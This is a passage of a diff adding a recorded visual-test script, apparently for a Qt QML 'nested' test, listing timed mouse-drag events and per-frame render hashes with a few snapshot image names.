+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5936
+ hash: "a18be4d4ab28c0fd0c16696c4ecc03ef"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 207; y: 229
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 207; y: 230
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5952
+ hash: "a8b23e7dad1bdbaa3452335be0f07658"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 230
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 231
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5968
+ hash: "4c1feb559a11912b06ed521bebba43d0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 200; y: 232
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 232
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5984
+ hash: "ffb97bcedf72e02616272c1cad5c38d7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 190; y: 232
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 181; y: 231
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6000
+ hash: "99498ed9b4d519a2f842d407abdef90a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 230
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 163; y: 229
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6016
+ hash: "1ca3f012adab899eba1dcb63d048345f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 158; y: 228
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6032
+ hash: "8a81d49de887f314f67976a65f469169"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6048
+ hash: "b83136fa3769e30ea47097b489e8f1dc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 116; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6064
+ hash: "12cdd297407257ae4bb13c87e24537fb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6080
+ hash: "a51ac0a1e9432671c88f7649c38d265d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 86; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6096
+ hash: "4ba4f854659161c765395cdee35594f2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 77; y: 226
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 225
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6112
+ hash: "9907add9e28b4a8976f3727f99a4b6d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 224
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 60; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6128
+ hash: "c2cb865c4a766b9c08328b374e940f29"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6144
+ hash: "c97981263572ded23b328da45cf88012"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6160
+ hash: "f4bae51c866ba1158f44529208514d6f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 222
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 222
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6176
+ hash: "35b4f1f9bb343f2b22bd7cdad6f28249"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6192
+ hash: "84eba4cb400e5622463f5a1fa79be72b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6208
+ hash: "d38e882728c7efc906befe69b416082a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6224
+ hash: "e5d8939135d0e964609a09a437af58bc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6240
+ hash: "6b6e06e8473d5703e217accd824b08d5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 42; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6256
+ hash: "8e38bc5b00e33e24f931b181dc77d3c1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 39; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 38; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6272
+ hash: "a173708b5380f42a2bdbf6ae69cdca20"
+ }
+ Frame {
+ msec: 6288
+ hash: "a173708b5380f42a2bdbf6ae69cdca20"
+ }
+ Frame {
+ msec: 6304
+ hash: "a173708b5380f42a2bdbf6ae69cdca20"
+ }
+ Frame {
+ msec: 6320
+ hash: "a173708b5380f42a2bdbf6ae69cdca20"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 38; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6336
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6352
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6368
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6384
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6400
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6416
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6432
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6448
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6464
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6480
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6496
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6512
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6528
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6544
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6560
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6576
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6592
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6608
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6624
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6640
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6656
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6672
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6688
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6704
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6720
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6736
+ image: "nested.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6768
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6784
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6800
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6816
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6832
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6848
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6864
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6880
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6896
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6912
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6928
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6944
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6960
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6976
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 6992
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 7008
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 7024
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 7040
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 7056
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 7072
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 46; y: 225
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7088
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 7104
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 226
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7120
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 228
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 231
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7136
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 233
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 238
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7152
+ hash: "35dd0f784c356be0050936ff75b0cdf7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 245
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7168
+ hash: "9ac066a700eae45edf9b2f1ba12f0324"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 248
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 255
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7184
+ hash: "22a2a8bf257918820b0ab55ecb14b479"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 259
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 266
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7200
+ hash: "eb98237e06cde8ed2f18040ce9197d16"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 272
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 276
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7216
+ hash: "f0c7afe1bd25b9b573cbc69154c25862"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 282
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 285
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7232
+ hash: "d6a681b6de867db47f889e6f1ec03dcf"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 291
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 293
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7248
+ hash: "0ee281281c7654567a1debae7a13abe0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 299
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 304
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7264
+ hash: "9d5f1c8cb0953c14bdd49aa88d2b225f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 306
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 310
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7280
+ hash: "ae1c2a3ed67c5c10fc9d19de4de7b7eb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 312
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 315
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7296
+ hash: "8505f9d060fc17fef2e91eb2add206bb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 316
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 318
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7312
+ hash: "c32a6d546a3e4f2ee5349a7dad4b30af"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 319
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 320
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7328
+ hash: "222f6e8e8deab567f1e7d0aaf7035b60"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 321
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 322
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7344
+ hash: "f7011629f44015187849daad6a53cebf"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 323
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 324
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7360
+ hash: "56b00d9116a51c041483dd00db0aca90"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 325
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 326
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7376
+ hash: "93232fbcafe8e279b37781f51dfb923a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 328
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 329
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7392
+ hash: "9fcf62eaacfc3477a4550c31f03c4782"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 330
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 331
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7408
+ hash: "dd669865fd36e42eec1d69860b29e7ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 331
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7424
+ hash: "9247af334483b219ca9bbe98d8fc362e"
+ }
+ Frame {
+ msec: 7440
+ hash: "9247af334483b219ca9bbe98d8fc362e"
+ }
+ Frame {
+ msec: 7456
+ hash: "9247af334483b219ca9bbe98d8fc362e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 330
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7472
+ hash: "9247af334483b219ca9bbe98d8fc362e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 329
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 328
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7488
+ hash: "69ef9255a29d65f26e5441594ea1bad9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 325
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 323
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7504
+ hash: "055f73dd085d2f65a055ba4d9a8a7539"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 318
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 316
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7520
+ hash: "384da5b6a948a52d0519935a8e33f014"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 309
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 303
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7536
+ hash: "1caa0049be4033db45f0d2debb25268f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 299
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 55; y: 299
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7552
+ hash: "76b8d00b3a2a68fec277050a442c18ca"
+ }
+ Frame {
+ msec: 7568
+ hash: "0ee281281c7654567a1debae7a13abe0"
+ }
+ Frame {
+ msec: 7584
+ hash: "df1dbb027a8542aa6120cce7b69724a7"
+ }
+ Frame {
+ msec: 7600
+ hash: "06a4d9b1d73362b3e29c6cf52fdb515c"
+ }
+ Frame {
+ msec: 7616
+ hash: "876c0dc8a68a4c1253b7aed6316cb892"
+ }
+ Frame {
+ msec: 7632
+ hash: "b46c74b1a2535099f0cdb8093bd49a4e"
+ }
+ Frame {
+ msec: 7648
+ hash: "0ad09a7638aa6f2affe47db2a810196f"
+ }
+ Frame {
+ msec: 7664
+ hash: "3710dde54d7e4a10a2c3ca2f891da7f5"
+ }
+ Frame {
+ msec: 7680
+ hash: "8426a607c92fbfa508e81c620d90e919"
+ }
+ Frame {
+ msec: 7696
+ image: "nested.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "1f38e34787c909d93d567f983a425257"
+ }
+ Frame {
+ msec: 7728
+ hash: "7b09913793d4c79d948fdff1b72c7124"
+ }
+ Frame {
+ msec: 7744
+ hash: "8a0d1484c073d8107b4bf9949edcdb18"
+ }
+ Frame {
+ msec: 7760
+ hash: "4bad25465dfdcc41995216b0f6a5191b"
+ }
+ Frame {
+ msec: 7776
+ hash: "6d39bbeb5f74273c1ed0231ac34fe094"
+ }
+ Frame {
+ msec: 7792
+ hash: "8ccc2e33b8d6c67162326d229e9c17ab"
+ }
+ Frame {
+ msec: 7808
+ hash: "3561eaa9124b96b2a0afa022bc0fe581"
+ }
+ Frame {
+ msec: 7824
+ hash: "b87d739e49f0427d9da577ac5147fd21"
+ }
+ Frame {
+ msec: 7840
+ hash: "7d0efbfceec35e591f9fae650288809b"
+ }
+ Frame {
+ msec: 7856
+ hash: "7d0efbfceec35e591f9fae650288809b"
+ }
+ Frame {
+ msec: 7872
+ hash: "ff5d2037d3cc7bb6930cabc3d53f0196"
+ }
+ Frame {
+ msec: 7888
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 7904
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 7920
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 7936
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 7952
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 7968
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 7984
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8000
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8016
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8032
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8048
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8064
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8080
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8096
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8112
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8128
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8144
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8160
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8176
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8192
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8208
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8224
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8240
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8256
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8272
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8288
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8304
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8320
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8336
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8352
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8368
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8384
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8400
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8416
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8432
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8448
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8464
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8480
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8496
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8512
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8528
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8544
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8560
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8576
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8592
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8608
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8624
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8640
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8656
+ image: "nested.9.png"
+ }
+ Frame {
+ msec: 8672
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8688
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8704
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8720
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8736
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8752
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8768
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8784
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8800
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
